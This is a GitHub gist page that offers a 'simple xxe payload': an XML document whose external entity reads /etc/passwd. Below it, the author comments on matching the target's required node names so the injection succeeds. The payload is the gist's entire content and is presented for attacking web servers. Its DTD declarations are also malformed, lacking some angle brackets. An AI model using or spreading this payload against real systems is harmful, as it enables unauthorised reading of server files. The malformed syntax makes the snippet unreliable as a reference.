Skip to content

Instantly share code, notes, and snippets.

@slayerlab
Created October 24, 2018 01:56
Show Gist options
  • Save slayerlab/aa308fe97c991017f1621e4ef622512c to your computer and use it in GitHub Desktop.
Save slayerlab/aa308fe97c991017f1621e4ef622512c to your computer and use it in GitHub Desktop.
simple xxe payload
<?xml version="1.0"?>
<!DOCTYPE data [
!ELEMENT data (x)>
!ENTITY file SYSTEM "/etc/passwd"
]>
<RequiredRootXMLNode>
<RequiredChildXMLNode>&file;</RequiredChildXMLNode>
</RequiredRootXMLNode>
@slayerlab
Copy link
Author

x = whatever value
root node = first node in XML
child node = node inside of the "first node"

if you'll use XXE injection, you need to know that some webserver requires specific xml node name or it will going to fail during injection.
The webserver might returns "Internal server error" for instance.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment